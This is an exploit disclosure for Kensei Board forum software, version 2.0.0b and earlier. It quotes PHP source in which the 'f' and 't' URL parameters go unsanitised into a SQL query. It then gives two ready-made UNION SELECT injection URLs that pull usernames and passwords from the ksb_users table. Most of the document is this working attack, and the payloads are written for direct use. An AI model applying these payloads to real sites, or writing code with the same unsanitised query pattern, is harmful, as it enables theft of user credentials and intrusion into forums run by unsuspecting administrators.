Kensei Board <= 2.0.0b Multiple Remote SQL Injection Vulnerabilities Bug found && Exploited by cOndemned Greetz: SELECT * FROM `friends` Download Script : http://www.kenseiboard.com/counter/click.php?id=2 --- source of index.php : [...] 87. if ($inc_function == "_showforum") { 88. if ($_GET[t] == "") { 89. $inc_function = "functions/showforum.php"; 90. } else { 91. $inc_function = "functions/showtopic.php"; [...] source of functions/showforum.php : [...] 9. $forum = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = $_GET[f]")); [...] It looks the same for "t" variable ... --- Proof of Concept : "f" variable: /index.php?&act=showforum&f=1+and+1=51+union+select+1,2,3,concat_ws(char(58),users_username,users_password),5,6,7,8+from+ksb_users-- "t" variable: /index.php?&act=showforum&f=1&t=1+and+1=51+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(char(58),users_username,users_password)+from+ksb_users-- --- // http://www.youtube.com/watch?v=xCMlZxqZ5xI